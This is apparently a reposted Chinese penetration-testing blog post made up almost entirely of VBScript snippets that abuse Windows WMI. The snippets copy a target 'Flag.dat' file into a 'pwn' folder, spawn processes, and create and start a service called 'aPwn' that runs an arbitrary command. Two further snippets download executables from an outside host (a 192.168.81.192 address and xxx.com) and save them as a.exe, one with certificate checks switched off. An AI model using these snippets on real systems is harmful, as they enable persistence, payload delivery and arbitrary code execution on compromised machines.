vbs調用WMI接口復制文件：

Set objWMIService = GetObject("winmgmts://./root/CIMV2") Set colFiles = objWMIService.ExecQuery("SELECT * FROM CIM_DataFIle Where Name='c:\\target\\Flag.dat'") For Each objFile In ColFilesobjFile.Copy("C:\pwn\Flag.dat") Next

創建進程：

Dim objWMIService, objProcess, strShell, objProgram set objWMIService = getobject("winmgmts://./root/cimv2") Set objProcess = objWMIService.Get("Win32_Process") Set objProgram = objProcess.Methods_("Create").InParameters.SpawnInstance_ objProgram.CommandLine = "Calc.exe" objWMIService.ExecMethod "Win32_Process", "Create", objProgram

創建服務：

Const OWN_PROCESS = 16Const NOT_INTERACTIVE = FalseConst NORMAL_ERROR_CONTROL = 2Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")Set objService = objWMIService.Get("Win32_BaseService")errReturn = objService.Create("aPwn" ,"aPWN service" ,"這里修改成要執行的命令", OWN_PROCESS, NORMAL_ERROR_CONTROL, "Manual", NOT_INTERACTIVE, "NT AUTHORITY\LocalService", "" )If errReturn = 23 ThenSet ServiceSet = GetObject("winmgmts:").ExecQuery("select * from Win32_Service where Name='aPwn'")for each Service in ServiceSetService.StartService()nextEnd If

vbs下載文件腳本

Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim http,ado Set http = CreateObject("Msxml2.XMLHTTP") http.open "GET","http://192.168.81.192/putty.exe",False http.send Set ado = createobject("Adodb.Stream") ado.Type = adTypeBinary ado.Open ado.Write http.responseBody ado.SaveToFile "c:\download\a.exe" ado.Close

下面這個支持https下載：

Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim http,ado Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0") http.SetOption 2, 13056 http.open "GET","https://xxx.com/1.exe",False http.send Set ado = createobject("Adodb.Stream") ado.Type = adTypeBinary ado.Open ado.Write http.responseBody ado.SaveToFile "c:\download\a.exe" ado.Close

總結

以上是生活随笔為你收集整理的高级渗透之VBS调用WMI接口的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。